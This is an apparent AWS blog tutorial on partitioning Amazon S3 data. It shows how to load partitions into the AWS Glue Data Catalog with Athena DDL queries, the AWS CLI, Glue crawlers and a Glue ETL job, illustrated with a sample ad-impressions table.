There are a few factors to consider when deciding the columns on which to partition. For example, if you’re using columns as filters, don’t use a column that is partitioning too finely, or don’t choose a column where your data is heavily skewed to one partition value. You can partition your data by any column. Partition columns are usually designed by a common query pattern in your use case. For example, a common practice is to partition the data based on year/month/day because many queries tend to run time series analyses in typical use cases. This often leads to a multi-level partitioning scheme. Data is organized in a hierarchical directory structure based on the distinct values of one or more columns.

Let’s look at an example of how partitioning works.

Files corresponding to a single day’s worth of data are placed under a prefix such as s3://my_bucket/logs/year=2023/month=06/day=01/.

If your data is partitioned per day, every day you have a single file, such as the following:

  • s3://my_bucket/logs/year=2023/month=06/day=01/file1_example.json
  • s3://my_bucket/logs/year=2023/month=06/day=02/file2_example.json
  • s3://my_bucket/logs/year=2023/month=06/day=03/file3_example.json

We can use a WHERE clause to query the data as follows:

SELECT * FROM table WHERE year=2023 AND month=06 AND day=01

The preceding query reads only the data inside the partition folder year=2023/month=06/day=01 instead of scanning through the files under all partitions. Therefore, it only scans the file file1_example.json.

Systems such as Athena, Amazon Redshift Spectrum, and now AWS Glue can use these partitions to filter data by value, eliminating unnecessary (partition) requests to Amazon S3. This capability can improve the performance of applications that specifically need to read a limited number of partitions. For more information about partitioning with Athena and Redshift Spectrum, refer to Partitioning data in Athena and Creating external tables for Redshift Spectrum, respectively.

How to create a table and load partitions in the Data Catalog using Athena

Let’s begin by understanding how to create a table and load partitions using DDL (Data Definition Language) queries in Athena. Note that to demonstrate the various methods of loading partitions into the table, we need to delete and recreate the table multiple times throughout the following steps.

First, we create a database for this demo.

  1. On the Athena console, choose Query editor.

If this is your first time using the Athena query editor, you need to configure and specify an S3 bucket to store the query results.

  1. Create a database with the following command:
CREATE DATABASE partitions_blog;

  1. In the Data pane, for Database, choose the database partitions_blog.
  2. Create the table impressions following the example in Hive JSON SerDe. Replace <myregion> in s3://<myregion>.elasticmapreduce/samples/hive-ads/tables/impressions with the Region identifier where you run Athena (for example, s3://us-east-1.elasticmapreduce/samples/hive-ads/tables/impressions).
  3. Run the following query to create the table:
CREATE EXTERNAL TABLE impressions (
    requestbegintime string,
    adid string,
    impressionid string,
    referrer string,
    useragent string,
    usercookie string,
    ip string,
    number string,
    processid string,
    browsercookie string,
    requestendtime string,
    timers struct
                <
                 modellookup:string, 
                 requesttime:string
                >,
    threadid string, 
    hostname string,
    sessionid string
)   
PARTITIONED BY (dt string)
ROW FORMAT SERDE 'org.apache.hive.hcatalog.data.JsonSerDe'
LOCATION 's3://us-east-1.elasticmapreduce/samples/hive-ads/tables/impressions';

The following screenshot shows the query in the query editor.

  1. Run the following query to review the data:
SELECT * FROM impressions;

You can’t see any results because the partitions aren’t loaded yet.

If the partition isn’t loaded into a partitioned table, when the application downloads the partition metadata, the application will not be aware of the S3 path that needs to be queried. For more information, refer to Why do I get zero records when I query my Amazon Athena table.

  1. Load the partitions using the command MSCK REPAIR TABLE.

The MSCK REPAIR TABLE command was designed to manually add partitions that are added to or removed from the file system, such as HDFS or Amazon S3, but are not present in the metastore.

  1. Query the table again to see the results.

After the MSCK REPAIR TABLE command scans Amazon S3 and adds partitions to AWS Glue for Hive-compatible partitions, the records under the registered partitions are now returned.

How partitions are stored in the table metadata

We can list the table partitions in Athena by running the SHOW PARTITIONS command, as shown in the following screenshot.

We also can see the partition metadata on the AWS Glue console. Complete the following steps:

  1. On the AWS Glue console, choose Tables in the navigation pane under Data Catalog.
  2. Choose the impressions table in the partitions_blog database.
  3. On the Partitions tab, choose View Properties next to a partition to view its details.

The following screenshot shows an example of the partition properties.

We can also get the partitions using the AWS Command Line Interface (AWS CLI) command get-partitions, as shown in the following screenshot.

From the get-partitions, the element “Values” defines the partition value and “Location” defines the S3 path to be queried by the application:

"Values": [
                "2009-04-12-19-05"
            ]

When querying the data from the partition dt="2009-04-12-19-05", the application lists and reads only the files in the S3 path s3://us-east-1.elasticmapreduce/samples/hive-ads/tables/impressions/dt="2009-04-12-19-05".

Different ways to add partitions in a table on the Data Catalog

There are multiple ways to load partitions into the table. You can create tables and partitions directly using the AWS Glue API, SDKs, AWS CLI, DDL queries on Athena, using AWS Glue crawlers, or using AWS Glue ETL jobs.

For the next examples, we need to drop and recreate the table. Run the following command in the Athena query editor:

DROP table impressions;

After that, recreate the table:

CREATE EXTERNAL TABLE impressions (
    requestbegintime string,
    adid string,
    impressionid string,
    referrer string,
    useragent string,
    usercookie string,
    ip string,
    number string,
    processid string,
    browsercookie string,
    requestendtime string,
    timers struct
                <
                 modellookup:string, 
                 requesttime:string
                >,
    threadid string, 
    hostname string,
    sessionid string
)   
PARTITIONED BY (dt string)
ROW FORMAT SERDE 'org.apache.hive.hcatalog.data.JsonSerDe'
LOCATION 's3://us-east-1.elasticmapreduce/samples/hive-ads/tables/impressions';

Creating partitions individually

If the data arrives in an S3 bucket at a scheduled time, for example every hour or once a day, you can individually add partitions. One way of doing so is by running an ALTER TABLE ADD PARTITION DDL query on Athena.

We use Athena for this query as an example. You can do the same from Hive on Amazon EMR, Spark on Amazon EMR, AWS Glue for Apache Spark jobs, and more.

To load partitions using Athena, we need to use the ALTER TABLE ADD PARTITION command, which can create one or more partitions in the table. ALTER TABLE ADD PARTITION supports partitions created on Amazon S3 with camel case (s3://bucket/table/dayOfTheYear=20), Hive format (s3://bucket/table/dayoftheyear=20), and non-Hive style partitioning schemes used by AWS CloudTrail logs, which use separate path components for date parts, such as s3://bucket/data/2021/01/26/us/6fc7845e.json.

To load partitions into a table, you can run the following query in the Athena query editor:

ALTER TABLE impressions 
  ADD PARTITION (dt = '2009-04-12-19-05');


Refer to ALTER TABLE ADD PARTITION for more information.

Another option is using AWS Glue APIs. AWS Glue provides two APIs to load partitions into table create_partition() and batch_create_partition(). For the API parameters, refer to CreatePartition.

The following example uses the AWS CLI:

aws glue create-partition \
    --database-name partitions_blog \
    --table-name impressions \
    --partition-input '{
                            "Values":["2009-04-14-13-00"],
                            "StorageDescriptor":{
                                "Location":"s3://us-east-1.elasticmapreduce/samples/hive-ads/tables/impressions/dt=2009-04-14-13-00",
                                "InputFormat": "org.apache.hadoop.mapred.TextInputFormat",
                                "SerdeInfo": {
                                    "SerializationLibrary": "org.apache.hive.hcatalog.data.JsonSerDe"
                                }
                            }
                        }'

Both commands (ALTER TABLE in Athena and the AWS Glue API create-partition) will create partition enhancing from the table definition.

Load multiple partitions using MSCK REPAIR TABLE

You can load multiple partitions in Athena. MSCK REPAIR TABLE is a DDL statement that scans the entire S3 path defined in the table’s Location property. Athena lists the S3 path searching for Hive-compatible partitions, then loads the existing partitions into the AWS Glue table’s metadata. A table needs to be created in the Data Catalog, and the data source must be from Amazon S3 before it can run. You can create a table with AWS Glue APIs or by running a CREATE TABLE statement in Athena. After the table creation, run MSCK REPAIR TABLE to load the partitions.

The parameter DDL query timeout in the service quotas defines how long a DDL statement can run. The runtime increases accordingly to the number of folders or partitions in the S3 path.

The MSCK REPAIR TABLE command is best used when creating a table for the first time or when there is uncertainty about parity between data and partition metadata. It supports folders created in lowercase and using Hive-style partitions format (for example, year=2023/month=6/day=01). Because MSCK REPAIR TABLE scans both the folder and its subfolders to find a matching partition scheme, you should keep data for separate tables in separate folder hierarchies.

Every MSCK REPAIR TABLE command lists the entire folder specified in the table location. If you add new partitions frequently (for example, every 5 minutes or every hour), consider scheduling an ALTER TABLE ADD PARTITION statement to load only the partitions defined in the statement instead of scanning the entire S3 path.

The partitions created in the Data Catalog by MSCK REPAIR TABLE enhance the schema from the table definition. Note that Athena doesn’t charge for DDL statements, making MSCK REPAIR TABLE a more straightforward and affordable way to load partitions.

Add multiple partitions using an AWS Glue crawler

An AWS Glue crawler offers more features when loading partitions into the table. A crawler automatically identifies partitions in Amazon S3, extracts metadata, and creates table definitions in the Data Catalog. Crawlers can crawl the following file-based and table-based data stores.

Crawlers can help automate table creation and loading partitions into tables. They are charged per hour, and bill per second. You can optimize the crawler’s performance by altering parameters like the sample size or by specifying it to crawl new folders only.

If the schema of the data changes, the crawler will update the table and partition schemas accordingly. The crawler configuration options have parameters such as update the table definition in the Data Catalog, add new columns only, and ignore the change and don’t update the table in the Data Catalog, which tell the crawler how to update the table when needed and evolve the table schema.

Crawlers can create and update multiple tables from the same data source. When an AWS Glue crawler scans Amazon S3 and detects multiple directories, it uses a heuristic to determine where the root for a table is in the directory structure and which directories are partitions for the table.

To create an AWS Glue crawler, complete the following steps:

  1. On the AWS Glue console, choose Crawlers in the navigation pane under Data Catalog.
  2. Choose Create crawler.
  3. Provide a name and optional description, then choose Next.
  4. Under Data source configuration, select Not yet and choose Add a data source.
  5. For Data source, choose S3.
  6. For S3 path, enter the path of the impression data (s3://us-east-1.elasticmapreduce/samples/hive-ads/tables/impressions).
  7. Select a preference for subsequent crawler runs.
  8. Choose Add an S3 data source.
  9. Select your data source and choose Next.
  10. Under IAM role, either choose an existing AWS Identity and Access Management (IAM) role or choose Create new IAM role.
  11. Choose Next.
  12. For Target database, choose partitions_blog.
  13. For Table name prefix, enter crawler_.

We use the table prefix to add a custom prefix in front of the table name. For example, if you leave the prefix field empty and start the crawler on s3://my-bucket/some-table-backup, it creates a table with the name some-table-backup. If you add crawler_ as a prefix, it a creates table called crawler_some-table-backup.

  1. Choose your crawler schedule, then choose Next.
  2. Review your settings and create the crawler.
  3. Select your crawler and choose Run.

Wait for the crawler to finish running.

You can go to Athena and check the table was created:

SHOW PARTITIONS crawler_impressions;

Partitioning data stored in Amazon S3 while ingestion and cataloging

The previous examples work with data that already exists in Amazon S3. If you’re using AWS Glue jobs to write data on Amazon S3, you have the option to create partitions with DynamicFrames by enabling the “enableUpdateCatalog=True” parameter. Refer to Creating tables, updating the schema, and adding new partitions in the Data Catalog from AWS Glue ETL jobs for more information.

DynamicFrame supports native partitioning using a sequence of keys, using the partitionKeys option when you create a sink. For example, the following Python code writes out a dataset to Amazon S3 in Parquet format into directories partitioned by the ‘year’ field. After ingesting the data and registering partitions from the AWS Glue job, you can utilize these partitions from queries running on other analytics engines such as Athena.

## Create partitioned table in Glue Data Catalog using DynamicFrame

#Read Dataset
datasource0 = glueContext.create_dynamic_frame.from_catalog(
      database = "default", 
      table_name = "flight_delays_pq", 
      transformation_ctx = "datasource0")

#Create Sink
sink = glueContext.getSink(
    connection_type="s3", 
    path="s3://BUCKET/glueetl/",
    enableUpdateCatalog=True,
    partitionKeys=[ "year"])
    
sink.setFormat("parquet", useGlueParquetWriter=True)

sink.setCatalogInfo(catalogDatabase="default", catalogTableName="test_table")

#Write data, create table and add partitions
sink.writeFrame(datasource0)
job.commit()

Conclusion

This post showed multiple methods for partitioning your Amazon S3 data, which helps reduce costs by avoiding unnecessary data scanning and also improves the overall performance of your processes. We further described how AWS Glue makes effective metadata management for partitions possible, allowing you to optimize your storage and query operations in AWS Glue and Athena. These partitioning methods can help optimize scanning high volumes of data or long-running queries, as well as reduce the cost of scanning.

We hope you try out these options!

About the authors

Anderson Santos is a Senior Solutions Architect at Amazon Web Services. He works with AWS Enterprise customers to provide guidance and technical assistance, helping them improve the value of their solutions when using AWS.

Arun Pradeep Selvaraj is a Senior Solutions Architect and is part of Analytics TFC at AWS. Arun is passionate about working with his customers and stakeholders on digital transformations and innovation in the cloud while continuing to learn, build and reinvent. He is creative, fast-paced, deeply customer-obsessed and leverages the working backwards process to build modern architectures to help customers solve their unique challenges.

Patrick Muller is a Senior Solutions Architect and a valued member of the Datalab. With over 20 years of expertise in analytics, data warehousing, and distributed systems, he brings extensive knowledge to the table. Patrick’s passion lies in evaluating new technologies and assisting customers with innovative solutions. During his free time, he enjoys watching soccer.

The collective thoughts of the interwebz

Proudly powered by Ants